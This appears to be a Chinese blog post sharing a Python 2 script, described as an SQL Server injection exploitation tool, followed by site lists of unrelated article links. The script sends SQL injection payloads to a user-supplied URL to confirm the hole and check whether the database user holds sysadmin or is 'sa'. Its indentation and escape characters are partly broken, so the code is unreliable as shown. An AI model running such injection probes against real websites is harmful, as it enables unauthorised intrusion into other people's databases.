Python编写检测数据库SA用户的方法


Posted in Python onJuly 11, 2014

本文讲述一个用Python写的小程序,用于有注入点的链接,以检测当前数据库用户是否为sa,详细代码如下:

# Code by zhaoxiaobu Email: little.bu@hotmail.com  
#-*- coding: UTF-8 -*-  
from sys import exit  
from urllib import urlopen  
from string import join,strip  
from re import search  
 
def is_sqlable(): 
  sql1="%20and%201=2" 
  sql2="%20and%201=1" 
  urlfile1=urlopen(url+sql1) 
  urlfile2=urlopen(url+sql2) 
  htmlcodes1=urlfile1.read() 
  htmlcodes2=urlfile2.read() 
  if not search(judge,htmlcodes1) and search(judge,htmlcodes2): 
  print "[信息]恭喜!这个URL是有注入漏洞的!n" 
  print "[信息]现在判断数据库是否是SQL Server,请耐心等候....."  
  is_SQLServer() 
  else: 
  print "[错误]你确定这个URL能用?换个别的试试吧!n"

def is_SQLServer(): 
  sql = "%20and%20exists%20(select%20*%20from%20sysobjects)" 
  urlfile=urlopen(url+sql) 
  htmlcodes=urlfile.read() 
  if not search(judge,htmlcodes): 
  print "[错误]数据库好像不是SQL Server的!n" 
  else: 
  print "[信息]确认是SQL Server数据库!n" 
  print "[信息]开始检测当前数据库用户权限,请耐心等待......" 
  is_sysadmin() 
 
 
def is_sysadmin():  
  sql = "%20and%201=(select%20IS_SRVROLEMEMBER('sysadmin'))" 
  urlfile = urlopen(url+sql)  
  htmlcodes = urlfile.read()  
  if not search(judge,htmlcodes):  
    print "[错误]当前数据库用户不具有sysadmin权限!n" 
  else:  
    print "[信息]当前数据库用户具有sysadmin权限!n" 
    print "[信息]检测当前用户是不是SA,请耐心等待......" 
    is_sa()  
 
def is_sa():  
  sql = "%20and%20'sa'=(select%20System_user)"; 
  urlfile = urlopen(url+sql)  
  htmlcodes = urlfile.read()  
  if not search(judge,htmlcodes):  
    print "[错误]当前数据库用户不是SA!n" 
  else:  
    print "[信息]当前数据库用户是SA!n" 
 
print "n########################################################################n"  
print "            ^o^SQL Server注入利用工具^o^     "  
print "           Email: little.bu@hotmail.comn"  
print "========================================================================";  
url = raw_input('[信息]请输入一个可能有注入漏洞的链接!nURL:')  
if url == '':  
  print "[错误]提供的URL必须具有 '.asp?xxx=' 这样的格式"  
  exit(1)  
 
judge = raw_input("[信息]请提供一个判断字符串.n判断字符串:")  
if judge == '':  
  print "[错误]判断字符串不能为空!"  
  exit(1)  
 
is_sqlable()
Python 相关文章推荐
Python实现子类调用父类的方法
Nov 10 Python
简单介绍Python的Django框架的dj-scaffold项目
May 30 Python
使用python实现个性化词云的方法
Jun 16 Python
python获取中文字符串长度的方法
Nov 14 Python
python安装pywin32clipboard的操作方法
Jan 24 Python
python如何以表格形式打印输出的方法示例
Jun 21 Python
pycharm设置鼠标悬停查看方法设置
Jul 29 Python
python输出决策树图形的例子
Aug 09 Python
python flask搭建web应用教程
Nov 19 Python
Pytest框架之fixture的详细使用教程
Apr 07 Python
python和php哪个更适合写爬虫
Jun 22 Python
python smtplib发送多个email联系人的实现
Oct 09 Python
python实现的生成随机迷宫算法核心代码分享(含游戏完整代码)
Jul 11 #Python
python文件和目录操作函数小结
Jul 11 #Python
python实现的登陆Discuz!论坛通用代码分享
Jul 11 #Python
Python Socket编程入门教程
Jul 11 #Python
python使用正则搜索字符串或文件中的浮点数代码实例
Jul 11 #Python
Python实现的二维码生成小软件
Jul 11 #Python
让python同时兼容python2和python3的8个技巧分享
Jul 11 #Python
You might like
PHP 转义使用详解
2013/07/15 PHP
PHP封装的简单连接MongoDB类示例
2019/02/13 PHP
Javascript优化技巧(文件瘦身篇)
2008/01/28 Javascript
jQuery帮助之CSS尺寸(五)outerHeight、outerWidth
2009/11/14 Javascript
js实现弹出窗口、页面变成灰色并不可操作的例子分享
2014/05/10 Javascript
使用jquery+CSS3实现仿windows10开始菜单的下拉导航菜单特效
2015/09/24 Javascript
js实现继承的5种方式
2015/12/01 Javascript
基于jQuery实现点击弹出层实例代码
2016/01/01 Javascript
Cookies 和 Session的详解及区别
2017/04/21 Javascript
JavaScript递归函数解“汉诺塔”算法代码解析
2018/07/05 Javascript
nodejs 十六进制字符串型数据与btye型数据相互转换
2018/07/30 NodeJs
Angular 利用路由跳转到指定页面的指定位置方法
2018/08/31 Javascript
对 Vue-Router 进行单元测试的方法
2018/11/05 Javascript
11个教程中不常被提及的JavaScript小技巧(推荐)
2019/04/17 Javascript
js验证密码强度解析
2020/03/18 Javascript
JS removeAttribute()方法实现删除元素的某个属性
2021/01/11 Javascript
[00:20]DOTA2荣耀之路7:-ah fu-抢盾
2018/05/31 DOTA
Python计算三角函数之asin()方法的使用
2015/05/15 Python
Scrapy爬虫实例讲解_校花网
2017/10/23 Python
详解Python nose单元测试框架的安装与使用
2017/12/20 Python
python logging日志模块以及多进程日志详解
2018/04/18 Python
matplotlib subplots 调整子图间矩的实例
2018/05/25 Python
Python面向对象之接口、抽象类与多态详解
2018/08/27 Python
解决PyCharm控制台输出乱码的问题
2019/01/16 Python
python实现五子棋小游戏
2020/03/25 Python
Python 中的 import 机制之实现远程导入模块
2019/10/29 Python
Python操作Word批量生成合同的实现示例
2020/08/28 Python
python实现录音功能(可随时停止录音)
2020/10/26 Python
10条PHP编程习惯
2014/05/26 面试题
自考生自我鉴定范文
2013/10/01 职场文书
捐款倡议书
2014/04/14 职场文书
促销活动总结报告
2014/04/26 职场文书
义务教育学校标准化建设汇报材料
2014/08/16 职场文书
小学生毕业评语
2014/12/26 职场文书
成人成长感言如何写?
2019/08/16 职场文书
Centos7 Shell编程之正则表达式、文本处理工具详解
2022/08/05 Servers